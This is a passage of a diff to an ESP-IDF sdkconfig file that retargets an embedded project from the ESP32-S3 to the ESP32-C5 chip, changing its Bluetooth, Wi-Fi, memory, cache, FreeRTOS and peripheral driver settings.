+CONFIG_BT_LE_LL_DUP_SCAN_LIST_COUNT=20 +CONFIG_BT_LE_LL_SCA=60 +# CONFIG_BT_LE_LL_PEER_SCA_SET_ENABLE is not set +# CONFIG_BT_LE_COEX_PHY_CODED_TX_RX_TLIM_EN is not set +CONFIG_BT_LE_COEX_PHY_CODED_TX_RX_TLIM_DIS=y +CONFIG_BT_LE_COEX_PHY_CODED_TX_RX_TLIM_EFF=0 +# CONFIG_BT_LE_SLEEP_ENABLE is not set +CONFIG_BT_LE_LP_CLK_SRC_MAIN_XTAL=y +# CONFIG_BT_LE_LP_CLK_SRC_DEFAULT is not set CONFIG_BT_CTRL_BLE_ADV_REPORT_FLOW_CTRL_SUPP=y CONFIG_BT_CTRL_BLE_ADV_REPORT_FLOW_CTRL_NUM=100 CONFIG_BT_CTRL_BLE_ADV_REPORT_DISCARD_THRSHOLD=20 -CONFIG_BT_CTRL_BLE_SCAN_DUPL=y -CONFIG_BT_CTRL_SCAN_DUPL_TYPE_DEVICE=y -# CONFIG_BT_CTRL_SCAN_DUPL_TYPE_DATA is not set -# CONFIG_BT_CTRL_SCAN_DUPL_TYPE_DATA_DEVICE is not set -CONFIG_BT_CTRL_SCAN_DUPL_TYPE=0 -CONFIG_BT_CTRL_SCAN_DUPL_CACHE_SIZE=100 -CONFIG_BT_CTRL_DUPL_SCAN_CACHE_REFRESH_PERIOD=0 -# CONFIG_BT_CTRL_BLE_MESH_SCAN_DUPL_EN is not set -# CONFIG_BT_CTRL_COEX_PHY_CODED_TX_RX_TLIM_EN is not set -CONFIG_BT_CTRL_COEX_PHY_CODED_TX_RX_TLIM_DIS=y -CONFIG_BT_CTRL_COEX_PHY_CODED_TX_RX_TLIM_EFF=0 - -# -# MODEM SLEEP Options -# -# CONFIG_BT_CTRL_MODEM_SLEEP is not set -# end of MODEM SLEEP Options - -CONFIG_BT_CTRL_SLEEP_MODE_EFF=0 -CONFIG_BT_CTRL_SLEEP_CLOCK_EFF=0 -CONFIG_BT_CTRL_HCI_TL_EFF=1 -# CONFIG_BT_CTRL_AGC_RECORRECT_EN is not set -# CONFIG_BT_CTRL_SCAN_BACKOFF_UPPERLIMITMAX is not set -# CONFIG_BT_BLE_ADV_DATA_LENGTH_ZERO_AUX is not set -CONFIG_BT_CTRL_CHAN_ASS_EN=y -CONFIG_BT_CTRL_LE_PING_EN=y +CONFIG_BT_LE_SCAN_DUPL=y +CONFIG_BT_LE_SCAN_DUPL_TYPE_DEVICE=y +# CONFIG_BT_LE_SCAN_DUPL_TYPE_DATA is not set +# CONFIG_BT_LE_SCAN_DUPL_TYPE_DATA_DEVICE is not set +CONFIG_BT_LE_SCAN_DUPL_TYPE=0 +CONFIG_BT_LE_SCAN_DUPL_CACHE_REFRESH_PERIOD=0 +CONFIG_BT_LE_MSYS_INIT_IN_CONTROLLER=y +# CONFIG_BT_LE_TX_CCA_ENABLED is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N24 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N21 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N18 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N15 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N12 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N9 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N6 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N3 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_N0 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P3 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P6 is not set +CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P9=y +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P12 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P15 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P18 is not set +# CONFIG_BT_LE_DFT_TX_POWER_LEVEL_P20 is not set +CONFIG_BT_LE_DFT_TX_POWER_LEVEL_DBM_EFF=9 +# CONFIG_BT_LE_CTRL_CHECK_CONNECT_IND_ACCESS_ADDRESS is not set +# CONFIG_BT_CTRL_RUN_IN_FLASH_ONLY is not set # # BLE disconnects when Instant Passed (0x28) occurs # -# CONFIG_BT_CTRL_BLE_LLCP_CONN_UPDATE is not set -# CONFIG_BT_CTRL_BLE_LLCP_CHAN_MAP_UPDATE is not set -# CONFIG_BT_CTRL_BLE_LLCP_PHY_UPDATE is not set +# CONFIG_BT_LE_CTRL_LLCP_CONN_UPDATE is not set +# CONFIG_BT_LE_CTRL_LLCP_CHAN_MAP_UPDATE is not set +# CONFIG_BT_LE_CTRL_LLCP_PHY_UPDATE is not set # end of BLE disconnects when Instant Passed (0x28) occurs -# CONFIG_BT_CTRL_RUN_IN_FLASH_ONLY is not set -CONFIG_BT_CTRL_DTM_ENABLE=y -CONFIG_BT_CTRL_BLE_MASTER=y -# CONFIG_BT_CTRL_BLE_TEST is not set -CONFIG_BT_CTRL_BLE_SCAN=y -CONFIG_BT_CTRL_BLE_SECURITY_ENABLE=y -CONFIG_BT_CTRL_BLE_ADV=y -# CONFIG_BT_CTRL_CHECK_CONNECT_IND_ACCESS_ADDRESS is not set +CONFIG_BT_CTRL_SCAN_BACKOFF_UPPERLIMITMAX=32 +# CONFIG_BT_LE_CTRL_CHAN_ASS_EN is not set +CONFIG_BT_LE_CTRL_ADV_DATA_LENGTH_ZERO_AUX=y +CONFIG_BT_LE_RXBUF_OPT_ENABLED=y +CONFIG_BT_LE_CTRL_FAST_CONN_DATA_TX_EN=y # -# Controller debug log Options (Experimental) +# Reserved Memory Config # -# end of Controller debug log Options (Experimental) +CONFIG_BT_LE_EXT_ADV_RESERVED_MEMORY_COUNT=2 +CONFIG_BT_LE_CONN_RESERVED_MEMORY_COUNT=2 +# end of Reserved Memory Config + +# CONFIG_BT_LE_DTM_ENABLED is not set # end of Controller Options # @@ -956,7 +1030,6 @@ CONFIG_BT_ALARM_MAX_NUM=50 # Legacy TWAI Driver Configurations # # CONFIG_TWAI_SKIP_LEGACY_CONFLICT_CHECK is not set -CONFIG_TWAI_ERRATA_FIX_LISTEN_ONLY_DOM=y # end of Legacy TWAI Driver Configurations # @@ -1026,13 +1099,6 @@ CONFIG_TWAI_ERRATA_FIX_LISTEN_ONLY_DOM=y # CONFIG_TEMP_SENSOR_SUPPRESS_DEPRECATE_WARN is not set # CONFIG_TEMP_SENSOR_SKIP_LEGACY_CONFLICT_CHECK is not set # end of Legacy Temperature Sensor Driver Configurations - -# -# Legacy Touch Sensor Driver Configurations -# -# CONFIG_TOUCH_SUPPRESS_DEPRECATE_WARN is not set -# CONFIG_TOUCH_SKIP_LEGACY_CONFLICT_CHECK is not set -# end of Legacy Touch Sensor Driver Configurations # end of Driver Configurations # @@ -1063,7 +1129,6 @@ CONFIG_ESP_TLS_DYN_BUF_STRATEGY_SUPPORTED=y # # CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set # CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set -# CONFIG_ADC_CONTINUOUS_FORCE_USE_ADC2_ON_C3_S3 is not set # CONFIG_ADC_ENABLE_DEBUG_LOG is not set # end of ADC and ADC Calibration @@ -1083,10 +1148,20 @@ CONFIG_ESP_ERR_TO_NAME_LOOKUP=y # end of Common ESP-related # -# ESP-Driver:Camera Controller Configurations +# ESP-Driver:Analog Comparator Configurations # -# CONFIG_CAM_CTLR_DVP_CAM_ISR_CACHE_SAFE is not set -# end of ESP-Driver:Camera Controller Configurations +CONFIG_ANA_CMPR_ISR_HANDLER_IN_IRAM=y +# CONFIG_ANA_CMPR_CTRL_FUNC_IN_IRAM is not set +# CONFIG_ANA_CMPR_ISR_CACHE_SAFE is not set +CONFIG_ANA_CMPR_OBJ_CACHE_SAFE=y +# CONFIG_ANA_CMPR_ENABLE_DEBUG_LOG is not set +# end of ESP-Driver:Analog Comparator Configurations + +# +# BitScrambler Configurations +# +# CONFIG_BITSCRAMBLER_CTRL_FUNC_IN_IRAM is not set +# end of BitScrambler Configurations # # ESP-Driver:GPIO Configurations @@ -1136,6 +1211,18 @@ CONFIG_MCPWM_OBJ_CACHE_SAFE=y # CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set # end of ESP-Driver:MCPWM Configurations +# +# ESP-Driver:Parallel IO Configurations +# +CONFIG_PARLIO_TX_ISR_HANDLER_IN_IRAM=y +CONFIG_PARLIO_RX_ISR_HANDLER_IN_IRAM=y +# CONFIG_PARLIO_TX_ISR_CACHE_SAFE is not set +# CONFIG_PARLIO_RX_ISR_CACHE_SAFE is not set +CONFIG_PARLIO_OBJ_CACHE_SAFE=y +# CONFIG_PARLIO_ENABLE_DEBUG_LOG is not set +# CONFIG_PARLIO_ISR_IRAM_SAFE is not set +# end of ESP-Driver:Parallel IO Configurations + # # ESP-Driver:PCNT Configurations # @@ -1174,19 +1261,11 @@ CONFIG_SPI_MASTER_ISR_IN_IRAM=y CONFIG_SPI_SLAVE_ISR_IN_IRAM=y # end of ESP-Driver:SPI Configurations -# -# ESP-Driver:Touch Sensor Configurations -# -# CONFIG_TOUCH_CTRL_FUNC_IN_IRAM is not set -# CONFIG_TOUCH_ISR_IRAM_SAFE is not set -# CONFIG_TOUCH_ENABLE_DEBUG_LOG is not set -# CONFIG_TOUCH_SKIP_FSM_CHECK is not set -# end of ESP-Driver:Touch Sensor Configurations - # # ESP-Driver:Temperature Sensor Configurations # # CONFIG_TEMP_SENSOR_ENABLE_DEBUG_LOG is not set +# CONFIG_TEMP_SENSOR_ISR_IRAM_SAFE is not set # end of ESP-Driver:Temperature Sensor Configurations # @@ -1299,22 +1378,20 @@ CONFIG_ESP_HTTPS_SERVER_EVENT_POST_TIMEOUT=2000 # # Chip revision # -CONFIG_ESP32S3_REV_MIN_0=y -# CONFIG_ESP32S3_REV_MIN_1 is not set -# CONFIG_ESP32S3_REV_MIN_2 is not set -CONFIG_ESP32S3_REV_MIN_FULL=0 -CONFIG_ESP_REV_MIN_FULL=0 +CONFIG_ESP32C5_REV_MIN_100=y +CONFIG_ESP32C5_REV_MIN_FULL=100 +CONFIG_ESP_REV_MIN_FULL=100 # -# Maximum Supported ESP32-S3 Revision (Rev v0.99) +# Maximum Supported ESP32-C5 Revision (Rev v1.99) # -CONFIG_ESP32S3_REV_MAX_FULL=99 -CONFIG_ESP_REV_MAX_FULL=99 +CONFIG_ESP32C5_REV_MAX_FULL=199 +CONFIG_ESP_REV_MAX_FULL=199 CONFIG_ESP_EFUSE_BLOCK_REV_MIN_FULL=0 -CONFIG_ESP_EFUSE_BLOCK_REV_MAX_FULL=199 +CONFIG_ESP_EFUSE_BLOCK_REV_MAX_FULL=99 # -# Maximum Supported ESP32-S3 eFuse Block Revision (eFuse Block Rev v1.99) +# Maximum Supported ESP32-C5 eFuse Block Revision (eFuse Block Rev v0.99) # # end of Chip revision @@ -1325,11 +1402,12 @@ CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_STA=y CONFIG_ESP_MAC_ADDR_UNIVERSE_WIFI_AP=y CONFIG_ESP_MAC_ADDR_UNIVERSE_BT=y CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y +CONFIG_ESP_MAC_ADDR_UNIVERSE_IEEE802154=y CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES_FOUR=y CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES=4 -# CONFIG_ESP32S3_UNIVERSAL_MAC_ADDRESSES_TWO is not set -CONFIG_ESP32S3_UNIVERSAL_MAC_ADDRESSES_FOUR=y -CONFIG_ESP32S3_UNIVERSAL_MAC_ADDRESSES=4 +# CONFIG_ESP32C5_UNIVERSAL_MAC_ADDRESSES_TWO is not set +CONFIG_ESP32C5_UNIVERSAL_MAC_ADDRESSES_FOUR=y +CONFIG_ESP32C5_UNIVERSAL_MAC_ADDRESSES=4 # CONFIG_ESP_MAC_USE_CUSTOM_MAC_AS_BASE_MAC is not set # end of MAC Config @@ -1339,7 +1417,6 @@ CONFIG_ESP32S3_UNIVERSAL_MAC_ADDRESSES=4 CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y CONFIG_ESP_SLEEP_PSRAM_LEAKAGE_WORKAROUND=y CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU=y -CONFIG_ESP_SLEEP_RTC_BUS_ISO_WORKAROUND=y CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND=y CONFIG_ESP_SLEEP_WAIT_FLASH_READY_EXTRA_DELAY=2000 # CONFIG_ESP_SLEEP_CACHE_SAFE_ASSERTION is not set @@ -1353,8 +1430,9 @@ CONFIG_ESP_SLEEP_GPIO_ENABLE_INTERNAL_RESISTORS=y CONFIG_RTC_CLK_SRC_INT_RC=y # CONFIG_RTC_CLK_SRC_EXT_CRYS is not set # CONFIG_RTC_CLK_SRC_EXT_OSC is not set -# CONFIG_RTC_CLK_SRC_INT_8MD256 is not set CONFIG_RTC_CLK_CAL_CYCLES=1024 +CONFIG_RTC_FAST_CLK_SRC_RC_FAST=y +# CONFIG_RTC_FAST_CLK_SRC_XTAL is not set # end of RTC Clock Config # @@ -1364,6 +1442,12 @@ CONFIG_ESP_PERIPH_CTRL_FUNC_IN_IRAM=y CONFIG_ESP_REGI2C_CTRL_FUNC_IN_IRAM=y # end of Peripheral Control +# +# ETM Configuration +# +# CONFIG_ETM_ENABLE_DEBUG_LOG is not set +# end of ETM Configuration + # # GDMA Configurations # @@ -1377,8 +1461,8 @@ CONFIG_GDMA_OBJ_DRAM_SAFE=y # # Main XTAL Config # -CONFIG_XTAL_FREQ_40=y -CONFIG_XTAL_FREQ=40 +CONFIG_XTAL_FREQ_AUTO=y +CONFIG_XTAL_FREQ=0 # end of Main XTAL Config # @@ -1395,13 +1479,13 @@ CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7=y # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_4 is not set # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_3 is not set # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_2 is not set -# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_1 is not set CONFIG_ESP_BROWNOUT_DET_LVL=7 CONFIG_ESP_BROWNOUT_USE_INTR=y # end of Brownout Detector # end of Power Supplier CONFIG_ESP_SPI_BUS_LOCK_ISR_FUNCS_IN_IRAM=y +CONFIG_ESP_CLK_RC32K_NOT_TO_USE=y CONFIG_ESP_INTR_IN_IRAM=y # end of Hardware Settings @@ -1409,8 +1493,6 @@ CONFIG_ESP_INTR_IN_IRAM=y # ESP-Driver:LCD Controller Configurations # # CONFIG_LCD_ENABLE_DEBUG_LOG is not set -# CONFIG_LCD_RGB_ISR_IRAM_SAFE is not set -# CONFIG_LCD_RGB_RESTART_IN_VSYNC is not set # end of ESP-Driver:LCD Controller Configurations # @@ -1448,7 +1530,6 @@ CONFIG_ESP_PHY_CALIBRATION_AND_DATA_STORAGE=y CONFIG_ESP_PHY_MAX_WIFI_TX_POWER=20 CONFIG_ESP_PHY_MAX_TX_POWER=20 # CONFIG_ESP_PHY_REDUCE_TX_POWER is not set -CONFIG_ESP_PHY_ENABLE_USB=y # CONFIG_ESP_PHY_ENABLE_CERT_TEST is not set CONFIG_ESP_PHY_RF_CAL_PARTIAL=y # CONFIG_ESP_PHY_RF_CAL_NONE is not set @@ -1468,7 +1549,7 @@ CONFIG_PM_SLEEP_FUNC_IN_IRAM=y # CONFIG_PM_ENABLE is not set CONFIG_PM_SLP_IRAM_OPT=y CONFIG_PM_POWER_DOWN_CPU_IN_LIGHT_SLEEP=y -CONFIG_PM_RESTORE_CACHE_TAGMEM_AFTER_LIGHT_SLEEP=y +# CONFIG_PM_POWER_DOWN_PERIPHERAL_IN_LIGHT_SLEEP is not set # end of Power Management # @@ -1479,18 +1560,11 @@ CONFIG_SPIRAM=y # # SPI RAM config # -# CONFIG_SPIRAM_MODE_QUAD is not set -CONFIG_SPIRAM_MODE_OCT=y -CONFIG_SPIRAM_TYPE_AUTO=y -# CONFIG_SPIRAM_TYPE_ESPPSRAM64 is not set -CONFIG_SPIRAM_CLK_IO=30 -CONFIG_SPIRAM_CS_IO=26 -# CONFIG_SPIRAM_XIP_FROM_PSRAM is not set -# CONFIG_SPIRAM_FETCH_INSTRUCTIONS is not set -# CONFIG_SPIRAM_RODATA is not set +CONFIG_SPIRAM_MODE_QUAD=y # CONFIG_SPIRAM_SPEED_80M is not set CONFIG_SPIRAM_SPEED_40M=y CONFIG_SPIRAM_SPEED=40 +# CONFIG_SPIRAM_XIP_FROM_PSRAM is not set # CONFIG_SPIRAM_ECC_ENABLE is not set CONFIG_SPIRAM_BOOT_HW_INIT=y CONFIG_SPIRAM_BOOT_INIT=y @@ -1520,6 +1594,18 @@ CONFIG_ESP_ROM_PRINT_IN_IRAM=y # # ESP Security Specific # + +# +# Crypto DPA Protection +# +CONFIG_ESP_CRYPTO_DPA_PROTECTION_AT_STARTUP=y +CONFIG_ESP_CRYPTO_DPA_PROTECTION_LEVEL_LOW=y +# CONFIG_ESP_CRYPTO_DPA_PROTECTION_LEVEL_MEDIUM is not set +# CONFIG_ESP_CRYPTO_DPA_PROTECTION_LEVEL_HIGH is not set +CONFIG_ESP_CRYPTO_DPA_PROTECTION_LEVEL=1 +# end of Crypto DPA Protection + +# CONFIG_ESP_CRYPTO_FORCE_ECC_CONSTANT_TIME_POINT_MUL is not set # end of ESP Security Specific # @@ -1533,98 +1619,64 @@ CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=160 # # Cache config # -CONFIG_ESP32S3_INSTRUCTION_CACHE_16KB=y -# CONFIG_ESP32S3_INSTRUCTION_CACHE_32KB is not set -CONFIG_ESP32S3_INSTRUCTION_CACHE_SIZE=0x4000 -# CONFIG_ESP32S3_INSTRUCTION_CACHE_4WAYS is not set -CONFIG_ESP32S3_INSTRUCTION_CACHE_8WAYS=y -CONFIG_ESP32S3_ICACHE_ASSOCIATED_WAYS=8 -# CONFIG_ESP32S3_INSTRUCTION_CACHE_LINE_16B is not set -CONFIG_ESP32S3_INSTRUCTION_CACHE_LINE_32B=y -CONFIG_ESP32S3_INSTRUCTION_CACHE_LINE_SIZE=32 -# CONFIG_ESP32S3_DATA_CACHE_16KB is not set -CONFIG_ESP32S3_DATA_CACHE_32KB=y -# CONFIG_ESP32S3_DATA_CACHE_64KB is not set -CONFIG_ESP32S3_DATA_CACHE_SIZE=0x8000 -# CONFIG_ESP32S3_DATA_CACHE_4WAYS is not set -CONFIG_ESP32S3_DATA_CACHE_8WAYS=y -CONFIG_ESP32S3_DCACHE_ASSOCIATED_WAYS=8 -# CONFIG_ESP32S3_DATA_CACHE_LINE_16B is not set -CONFIG_ESP32S3_DATA_CACHE_LINE_32B=y -# CONFIG_ESP32S3_DATA_CACHE_LINE_64B is not set -CONFIG_ESP32S3_DATA_CACHE_LINE_SIZE=32 +CONFIG_CACHE_L1_CACHE_SIZE=0x8000 +CONFIG_CACHE_L1_CACHE_LINE_SIZE=32 # end of Cache config -# -# Memory -# -# CONFIG_ESP32S3_RTCDATA_IN_FAST_MEM is not set -# CONFIG_ESP32S3_USE_FIXED_STATIC_RAM_SIZE is not set -# end of Memory - -# -# Trace memory -# -# CONFIG_ESP32S3_TRAX is not set -CONFIG_ESP32S3_TRACEMEM_RESERVE_DRAM=0x0 -# end of Trace memory - CONFIG_ESP_SYSTEM_IN_IRAM=y # CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y # CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set # CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set CONFIG_ESP_SYSTEM_PANIC_REBOOT_DELAY_SECONDS=0 +CONFIG_ESP_SYSTEM_SINGLE_CORE_MODE=y CONFIG_ESP_SYSTEM_RTC_FAST_MEM_AS_HEAP_DEPCHECK=y CONFIG_ESP_SYSTEM_ALLOW_RTC_FAST_MEM_AS_HEAP=y +CONFIG_ESP_SYSTEM_NO_BACKTRACE=y +# CONFIG_ESP_SYSTEM_USE_EH_FRAME is not set +# CONFIG_ESP_SYSTEM_USE_FRAME_POINTER is not set # # Memory protection # -CONFIG_ESP_SYSTEM_MEMPROT_FEATURE=y -CONFIG_ESP_SYSTEM_MEMPROT_FEATURE_LOCK=y +CONFIG_ESP_SYSTEM_PMP_IDRAM_SPLIT=y +# CONFIG_ESP_SYSTEM_PMP_LP_CORE_RESERVE_MEM_EXECUTABLE is not set # end of Memory protection CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 CONFIG_ESP_MAIN_TASK_STACK_SIZE=8192 CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y -# CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set # CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set CONFIG_ESP_MAIN_TASK_AFFINITY=0x0 CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048 # CONFIG_ESP_CONSOLE_UART_DEFAULT is not set -# CONFIG_ESP_CONSOLE_USB_CDC is not set CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG=y # CONFIG_ESP_CONSOLE_UART_CUSTOM is not set # CONFIG_ESP_CONSOLE_NONE is not set CONFIG_ESP_CONSOLE_SECONDARY_NONE=y CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG_ENABLED=y CONFIG_ESP_CONSOLE_UART_NUM=-1 -CONFIG_ESP_CONSOLE_ROM_SERIAL_PORT_NUM=4 +CONFIG_ESP_CONSOLE_ROM_SERIAL_PORT_NUM=3 CONFIG_ESP_INT_WDT=y CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 -CONFIG_ESP_INT_WDT_CHECK_CPU1=y CONFIG_ESP_TASK_WDT_EN=y CONFIG_ESP_TASK_WDT_INIT=y # CONFIG_ESP_TASK_WDT_PANIC is not set CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y -CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y # CONFIG_ESP_PANIC_HANDLER_IRAM is not set # CONFIG_ESP_DEBUG_STUBS_ENABLE is not set CONFIG_ESP_DEBUG_OCDAWARE=y CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_4=y -CONFIG_ESP_SYSTEM_BBPLL_RECALIB=y +CONFIG_ESP_SYSTEM_HW_STACK_GUARD=y +CONFIG_ESP_SYSTEM_HW_PC_RECORD=y # end of ESP System Settings # # IPC (Inter-Processor Call) # -CONFIG_ESP_IPC_ENABLE=y CONFIG_ESP_IPC_TASK_STACK_SIZE=1280 -CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y -CONFIG_ESP_IPC_ISR_ENABLE=y # end of IPC (Inter-Processor Call) # @@ -1664,8 +1716,6 @@ CONFIG_ESP_WIFI_TX_BA_WIN=6 CONFIG_ESP_WIFI_AMPDU_RX_ENABLED=y CONFIG_ESP_WIFI_RX_BA_WIN=6 CONFIG_ESP_WIFI_NVS_ENABLED=y -CONFIG_ESP_WIFI_TASK_PINNED_TO_CORE_0=y -# CONFIG_ESP_WIFI_TASK_PINNED_TO_CORE_1 is not set CONFIG_ESP_WIFI_SOFTAP_BEACON_MAX_LEN=752 CONFIG_ESP_WIFI_MGMT_SBUF_NUM=32 CONFIG_ESP_WIFI_IRAM_OPT=y @@ -1688,6 +1738,7 @@ CONFIG_ESP_WIFI_GMAC_SUPPORT=y CONFIG_ESP_WIFI_SOFTAP_SUPPORT=y # CONFIG_ESP_WIFI_SLP_BEACON_LOST_OPT is not set CONFIG_ESP_WIFI_ESPNOW_MAX_ENCRYPT_NUM=7 +# CONFIG_ESP_WIFI_NAN_ENABLE is not set CONFIG_ESP_WIFI_MBEDTLS_CRYPTO=y CONFIG_ESP_WIFI_MBEDTLS_TLS_CLIENT=y # CONFIG_ESP_WIFI_WAPI_PSK is not set @@ -1697,6 +1748,13 @@ CONFIG_ESP_WIFI_MBEDTLS_TLS_CLIENT=y # CONFIG_ESP_WIFI_DPP_SUPPORT is not set # CONFIG_ESP_WIFI_11R_SUPPORT is not set # CONFIG_ESP_WIFI_WPS_SOFTAP_REGISTRAR is not set +# CONFIG_ESP_WIFI_ENABLE_WIFI_TX_STATS is not set +# CONFIG_ESP_WIFI_ENABLE_WIFI_RX_STATS is not set +CONFIG_ESP_WIFI_TX_HETB_QUEUE_NUM=3 +# CONFIG_ESP_WIFI_ENABLE_DUMP_HESIGB is not set +# CONFIG_ESP_WIFI_ENABLE_DUMP_MU_CFO is not set +# CONFIG_ESP_WIFI_ENABLE_DUMP_CTRL_NDPA is not set +# CONFIG_ESP_WIFI_ENABLE_DUMP_CTRL_BFRP is not set # # WPS Configuration Options @@ -1781,8 +1839,9 @@ CONFIG_FATFS_DONT_TRUST_LAST_ALLOC=0 # Kernel # # CONFIG_FREERTOS_SMP is not set -# CONFIG_FREERTOS_UNICORE is not set +CONFIG_FREERTOS_UNICORE=y CONFIG_FREERTOS_HZ=100 +CONFIG_FREERTOS_OPTIMIZED_SCHEDULER=y # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y @@ -1795,7 +1854,6 @@ CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY=y CONFIG_FREERTOS_USE_TIMERS=y CONFIG_FREERTOS_TIMER_SERVICE_TASK_NAME="Tmr Svc" # CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU0 is not set -# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU1 is not set CONFIG_FREERTOS_TIMER_TASK_NO_AFFINITY=y CONFIG_FREERTOS_TIMER_SERVICE_TASK_CORE_AFFINITY=0x7FFFFFFF CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 @@ -1822,7 +1880,6 @@ CONFIG_FREERTOS_TLSP_DELETION_CALLBACKS=y CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y CONFIG_FREERTOS_ISR_STACKSIZE=1536 CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y -# CONFIG_FREERTOS_FPU_IN_ISR is not set CONFIG_FREERTOS_TICK_SUPPORT_SYSTIMER=y CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL1=y # CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL3 is not set @@ -1843,7 +1900,7 @@ CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y CONFIG_FREERTOS_DEBUG_OCDAWARE=y CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH=y -CONFIG_FREERTOS_NUMBER_OF_CORES=2 +CONFIG_FREERTOS_NUMBER_OF_CORES=1 CONFIG_FREERTOS_IN_IRAM=y # end of FreeRTOS @@ -1855,6 +1912,7 @@ CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y # CONFIG_HAL_ASSERTION_SILENT is not set # CONFIG_HAL_ASSERTION_ENABLE is not set CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2 +CONFIG_HAL_SYSTIMER_USE_ROM_IMPL=y CONFIG_HAL_WDT_USE_ROM_IMPL=y # end of Hardware Abstraction Layer (HAL) and Low Level (LL) @@ -1870,9 +1928,28 @@ CONFIG_HEAP_TRACING_OFF=y # CONFIG_HEAP_USE_HOOKS is not set # CONFIG_HEAP_TASK_TRACKING is not set # CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set +CONFIG_HEAP_TLSF_USE_ROM_IMPL=y # CONFIG_HEAP_PLACE_FUNCTION_INTO_FLASH is not set # end of Heap memory debugging +# +# IEEE 802.15.4 +# +CONFIG_IEEE802154_ENABLED=y +CONFIG_IEEE802154_RX_BUFFER_SIZE=20 +# CONFIG_IEEE802154_CCA_CARRIER is not set +CONFIG_IEEE802154_CCA_ED=y +# CONFIG_IEEE802154_CCA_CARRIER_OR_ED is not set +# CONFIG_IEEE802154_CCA_CARRIER_AND_ED is not set +CONFIG_IEEE802154_CCA_MODE=1 +CONFIG_IEEE802154_CCA_THRESHOLD=-60 +CONFIG_IEEE802154_PENDING_TABLE_SIZE=20 +# CONFIG_IEEE802154_MULTI_PAN_ENABLE is not set +CONFIG_IEEE802154_TIMING_OPTIMIZATION=y +# CONFIG_IEEE802154_DEBUG is not set +# CONFIG_IEEE802154_DEBUG_ASSERT_MONITOR is not set +# end of IEEE 802.15.4 + # # Log # @@ -2036,7 +2113,6 @@ CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set -# CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3 CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5 @@ -2156,13 +2232,18 @@ CONFIG_MBEDTLS_CMAC_C=y CONFIG_MBEDTLS_HARDWARE_AES=y CONFIG_MBEDTLS_AES_USE_INTERRUPT=y 